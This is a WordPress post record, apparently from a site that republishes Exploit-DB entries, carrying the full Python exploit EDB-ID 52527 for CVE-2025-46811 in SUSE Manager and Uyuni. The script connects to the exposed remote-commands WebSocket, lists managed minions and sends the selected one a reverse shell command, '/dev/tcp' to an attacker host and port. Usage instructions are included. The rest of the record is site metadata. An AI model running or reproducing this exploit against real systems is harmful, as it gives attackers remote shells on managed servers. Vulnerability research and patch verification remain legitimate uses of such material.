{"id":50348,"date":"2026-04-30T02:34:22","date_gmt":"2026-04-30T02:34:22","guid":{"rendered":"http:\/\/localhost\/?p=50348"},"modified":"2026-04-30T02:34:22","modified_gmt":"2026-04-30T02:34:22","slug":"suse-manager-4315-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=50348","title":{"rendered":"SUSE Manager 4.3.15 &#8211; Code Execution_EDB-ID:52527"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-30T07:27:59&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: SUSE Manager 4.3.15 &#8211; Code Execution Date: 29.01.2026 Exploit Author: Wiktor Maj Vendor Homepage: https:\/\/www.uyuni-project.org\/ Software Link: https:\/\/github.com\/uyuni-project\/uyuni Version: Uyuni 2025.05, SUSE Manager 5.0.4, SUSE&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-30T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-30T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;SUSE Manager 4.3.15 &#8211; Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52527&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-46811&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: SUSE Manager 4.3.15 &#8211; Code Execution\\r\\n# Date: 29.01.2026\\r\\n# Exploit Author: Wiktor Maj\\r\\n# Vendor Homepage: https:\/\/www.uyuni-project.org\/\\r\\n# Software Link: https:\/\/github.com\/uyuni-project\/uyuni\\r\\n# Version: Uyuni 2025.05, SUSE Manager 5.0.4, SUSE Manager 4.3.15\\r\\n# Tested on: Debian 12 (bookworm), Python 3.11.2 with websocket-client 1.9.0\\r\\n# CVE: CVE-2025-46811\\r\\n\\r\\n# Sends a reverse shell payload to the vulnerable WebSocket of either SUSE Manager or Uyuni.\\r\\n# Set up a listener session in a separate terminal.\\r\\n# After the payload is sent, switch to your listener terminal to check if a shell pops up.\\r\\n# Example:\\r\\n# python3 cve-2025-46811.py &#8211;ip 192.168.10.126 &#8211;port 443 &#8211;host-ip 192.168.10.113 &#8211;host-port 9001 &#8211;ssl\\r\\n\\r\\n\\r\\n#### PROGRAM CONSTRAINTS ####\\r\\nPAYLOAD = f\\&#8221;sh -i \\u003e\\u0026 \/dev\/tcp\/HOST_IP\/HOST_PORT 0\\u003e\\u00261\\&#8221;  # reverse shell payload, HOST_IP and HOST_PORT will be substituted with CLI args\\r\\nCONNECTION_RETRIES = 4  # number of connection attempts\\r\\nCONNECTION_DELAY_BETWEEN_RETRIES = 15  # seconds\\r\\nWEBSOCKET_TIMEOUT = 10  # seconds\\r\\n##############################\\r\\n\\r\\nimport argparse\\r\\nimport json\\r\\nimport socket\\r\\nimport ssl\\r\\nimport sys\\r\\nimport time\\r\\nimport websocket\\r\\n\\r\\n\\r\\ndef parse_args() -\\u003e argparse.Namespace:\\r\\n    parser = argparse.ArgumentParser(description=\\&#8221;Implementation of CVE-2025-46811 exploit for SUSE Manager \\u0026 Uyuni.\\&#8221;, add_help=False)\\r\\n    parser.add_argument(\\&#8221;-h\\&#8221;, \\&#8221;&#8211;help\\&#8221;, action=\\&#8221;help\\&#8221;, default=argparse.SUPPRESS, help=\\&#8221;Display this help text and exit.\\&#8221;)\\r\\n    parser.add_argument(\\&#8221;&#8211;ip\\&#8221;, required=True, help=\\&#8221;Victim IPv4 or hostname.\\&#8221;)\\r\\n    parser.add_argument(\\&#8221;&#8211;port\\&#8221;, type=int, default=443, help=\\&#8221;Victim port (default: 443).\\&#8221;)\\r\\n    parser.add_argument(\\&#8221;&#8211;host-ip\\&#8221;, required=True, help=\\&#8221;Attacker host IPv4 or hostname.\\&#8221;)\\r\\n    parser.add_argument(\\&#8221;&#8211;host-port\\&#8221;, type=int, required=True, help=\\&#8221;Attacker host port.\\&#8221;)\\r\\n    group = parser.add_mutually_exclusive_group()\\r\\n    group.add_argument(\\&#8221;&#8211;ssl\\&#8221;, dest=\\&#8221;ssl\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\r\\n                       help=\\&#8221;Use SSL\/TLS for the WebSocket connection (default).\\&#8221;)\\r\\n    group.add_argument(\\&#8221;&#8211;no-ssl\\&#8221;, dest=\\&#8221;ssl\\&#8221;, action=\\&#8221;store_false\\&#8221;,\\r\\n                       help=\\&#8221;Disable SSL\/TLS and use plaintext WebSocket.\\&#8221;)\\r\\n    parser.set_defaults(ssl=True)\\r\\n    return parser.parse_args()\\r\\n\\r\\n\\r\\ndef resolve_target(hostname: str) -\\u003e str:\\r\\n    return socket.gethostbyname(hostname)\\r\\n\\r\\n\\r\\ndef receive_preview_minions_message(websocket_connection: websocket.WebSocket) -\\u003e str:\\r\\n    while True:\\r\\n        try:\\r\\n            message = websocket_connection.recv()\\r\\n            if message:\\r\\n                print(\\&#8221;Received:\\&#8221;, message)\\r\\n                if isinstance(message, bytes):\\r\\n                    message = message.decode(\\&#8221;utf-8\\&#8221;, errors=\\&#8221;replace\\&#8221;)\\r\\n                return message\\r\\n        except websocket.WebSocketTimeoutException as exception:\\r\\n            raise RuntimeError(\\&#8221;Failed to receive preview minions message\\&#8221;) from exception\\r\\n\\r\\n\\r\\ndef decode_preview_minions_message(message: str) -\\u003e list[str]:\\r\\n    try:\\r\\n        preview_output = json.loads(message)\\r\\n    except json.JSONDecodeError as exception:\\r\\n        raise RuntimeError(\\&#8221;Preview response is not valid JSON\\&#8221;) from exception\\r\\n    if (\\r\\n        isinstance(preview_output, dict)\\r\\n        and isinstance(preview_output.get(\\&#8221;minions\\&#8221;), list)\\r\\n        and preview_output[\\&#8221;minions\\&#8221;]\\r\\n        and all(isinstance(entity, str) for entity in preview_output[\\&#8221;minions\\&#8221;])\\r\\n    ):\\r\\n        return preview_output[\\&#8221;minions\\&#8221;]\\r\\n    raise RuntimeError(\\&#8221;Preview response expected non-empty &#8216;minions&#8217; list\\&#8221;)\\r\\n\\r\\n\\r\\ndef receive_preview_minions(websocket_connection: websocket.WebSocket) -\\u003e list[str]:\\r\\n    message = receive_preview_minions_message(websocket_connection)\\r\\n    minions = decode_preview_minions_message(message)\\r\\n    return minions\\r\\n\\r\\n\\r\\ndef select_minion(minions: list[str]) -\\u003e str:\\r\\n    print(\\&#8221;Available minions:\\&#8221;)\\r\\n    for minion_id, minion_name in enumerate(minions, start=1):\\r\\n        print(f\\&#8221;{minion_id}) {minion_name}\\&#8221;)\\r\\n    prompt = \\&#8221;Select minion number (default is &#8216;1&#8217;, or &#8216;c&#8217; to cancel): \\&#8221;\\r\\n    while True:\\r\\n        choice = input(prompt).strip()\\r\\n        if choice == \\&#8221;\\&#8221;:\\r\\n            return minions[0]\\r\\n        if choice.lower() == \\&#8221;c\\&#8221;:\\r\\n            print(\\&#8221;No minion selected. Exiting.\\&#8221;)\\r\\n            sys.exit(0)\\r\\n        if choice.isdigit():\\r\\n            index = int(choice)\\r\\n            if 1 \\u003c= index \\u003c= len(minions):\\r\\n                return minions[index &#8211; 1]\\r\\n        print(\\&#8221;Invalid selection.\\&#8221;)\\r\\n\\r\\n\\r\\ndef connect_to_websocket(target_ip: str,\\r\\n                         port: int,\\r\\n                         use_ssl: bool,\\r\\n                         sslopt: dict,\\r\\n                     ) -\\u003e websocket.WebSocket:\\r\\n    scheme = \\&#8221;wss\\&#8221; if use_ssl else \\&#8221;ws\\&#8221;\\r\\n    try:\\r\\n        return websocket.create_connection(\\r\\n            f\\&#8221;{scheme}:\/\/{target_ip}:{port}\/rhn\/websocket\/minion\/remote-commands\\&#8221;,\\r\\n            timeout=WEBSOCKET_TIMEOUT,\\r\\n            sslopt=sslopt,\\r\\n        )\\r\\n    except ssl.SSLError as exception:\\r\\n        if \\&#8221;WRONG_VERSION_NUMBER\\&#8221; in str(exception):\\r\\n            raise RuntimeError(\\&#8221;Websocket seems to be unsecured, try with &#8211;no-ssl\\&#8221;) from exception\\r\\n        raise\\r\\n    except websocket.WebSocketBadStatusException as exception:\\r\\n        if exception.status_code == 400:\\r\\n            raise RuntimeError(\\&#8221;Websocket seems to be secured, try with &#8211;ssl\\&#8221;) from exception\\r\\n        raise\\r\\n    except TimeoutError as exception:\\r\\n        raise RuntimeError(\\&#8221;Websocket is likely under firewall\\&#8221;) from exception\\r\\n\\r\\n\\r\\ndef get_minions(target_ip: str,\\r\\n                port: int,\\r\\n                use_ssl: bool,\\r\\n            ) -\\u003e tuple[websocket.WebSocket, list[str]]:\\r\\n    sslopt = {\\&#8221;cert_reqs\\&#8221;: ssl.CERT_NONE, \\&#8221;check_hostname\\&#8221;: False}\\r\\n    for attempt in range(1, CONNECTION_RETRIES + 1):\\r\\n        websocket_connection = None\\r\\n        try:\\r\\n            websocket_connection = connect_to_websocket(target_ip, port, use_ssl, sslopt)\\r\\n            websocket_connection.send(json.dumps({\\&#8221;preview\\&#8221;: True, \\&#8221;target\\&#8221;: \\&#8221;*\\&#8221;}))\\r\\n            minions = receive_preview_minions(websocket_connection)\\r\\n            return websocket_connection, minions\\r\\n        except (\\r\\n            websocket.WebSocketTimeoutException,\\r\\n            websocket.WebSocketConnectionClosedException,\\r\\n        ):\\r\\n            if websocket_connection is not None:\\r\\n                websocket_connection.close()\\r\\n            if attempt == CONNECTION_RETRIES:\\r\\n                break\\r\\n        time.sleep(CONNECTION_DELAY_BETWEEN_RETRIES)\\r\\n    raise RuntimeError(\\&#8221;Target websocket is not vulnerable or not reachable\\&#8221;)\\r\\n\\r\\n\\r\\ndef send_payload(websocket_connection: websocket.WebSocket, target: str) -\\u003e None:\\r\\n    payload = PAYLOAD.replace(\\&#8221;HOST_IP\\&#8221;, args.host_ip).replace(\\&#8221;HOST_PORT\\&#8221;, str(args.host_port))\\r\\n    websocket_connection.send(json.dumps({\\&#8221;preview\\&#8221;: False, \\&#8221;target\\&#8221;: target, \\&#8221;command\\&#8221;: payload}))\\r\\n\\r\\n\\r\\nif __name__ == \\&#8221;__main__\\&#8221;:\\r\\n    args = parse_args()\\r\\n    websocket_connection = None\\r\\n    try:\\r\\n        websocket_connection, minions = get_minions(\\r\\n            target_ip=resolve_target(args.ip),\\r\\n            port=args.port,\\r\\n            use_ssl=args.ssl,\\r\\n        )\\r\\n        selected_minion = select_minion(minions)\\r\\n        send_payload(websocket_connection, selected_minion)\\r\\n        print(\\&#8221;Payload sent, closing.\\&#8221;)\\r\\n    finally:\\r\\n        if websocket_connection is not None:\\r\\n            websocket_connection.close()&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/www.exploit-db.com\/raw\/52527&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.exploit-db.com\/exploits\/52527&#8243;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-30T07:27:59&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: SUSE Manager 4.3.15 &#8211; Code Execution Date: 29.01.2026 Exploit Author: Wiktor Maj Vendor Homepage: https:\/\/www.uyuni-project.org\/ Software Link: https:\/\/github.com\/uyuni-project\/uyuni Version: Uyuni 2025.05, SUSE Manager&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,40,13,7,11,5],"class_list":["post-50348","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>SUSE Manager 4.3.15 - Code Execution_EDB-ID:52527 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=50348\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"SUSE Manager 4.3.15 - Code Execution_EDB-ID:52527 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-30T07:27:59&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: SUSE Manager 4.3.15 &#8211; Code Execution Date: 29.01.2026 Exploit Author: Wiktor Maj Vendor Homepage: https:\/\/www.uyuni-project.org\/ Software Link: https:\/\/github.com\/uyuni-project\/uyuni Version: Uyuni 2025.05, SUSE Manager...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=50348\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-30T02:34:22+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=50348#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=50348\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"SUSE Manager 4.3.15 &#8211; Code Execution_EDB-ID:52527\",\"datePublished\":\"2026-04-30T02:34:22+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=50348\"},\"wordCount\":1308,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"exploitdb\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=50348#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=50348\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=50348\",\"name\":\"SUSE Manager 4.3.15 - Code Execution_EDB-ID:52527 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-04-30T02:34:22+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=50348#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=50348\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=50348#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"SUSE Manager 4.3.15 &#8211; Code Execution_EDB-ID:52527\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"SUSE Manager 4.3.15 - Code Execution_EDB-ID:52527 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=50348","og_locale":"en_US","og_type":"article","og_title":"SUSE Manager 4.3.15 - Code Execution_EDB-ID:52527 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-04-30T07:27:59&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: SUSE Manager 4.3.15 &#8211; Code Execution Date: 29.01.2026 Exploit Author: Wiktor Maj Vendor Homepage: https:\/\/www.uyuni-project.org\/ Software Link: https:\/\/github.com\/uyuni-project\/uyuni Version: Uyuni 2025.05, SUSE Manager...","og_url":"https:\/\/zero.redgem.net\/?p=50348","og_site_name":"zero redgem","article_published_time":"2026-04-30T02:34:22+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=50348#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=50348"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"SUSE Manager 4.3.15 &#8211; Code Execution_EDB-ID:52527","datePublished":"2026-04-30T02:34:22+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=50348"},"wordCount":1308,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","exploitdb","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=50348#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=50348","url":"https:\/\/zero.redgem.net\/?p=50348","name":"SUSE Manager 4.3.15 - Code Execution_EDB-ID:52527 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-04-30T02:34:22+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=50348#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=50348"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=50348#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"SUSE Manager 4.3.15 &#8211; Code Execution_EDB-ID:52527"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/50348","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=50348"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/50348\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=50348"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=50348"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=50348"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}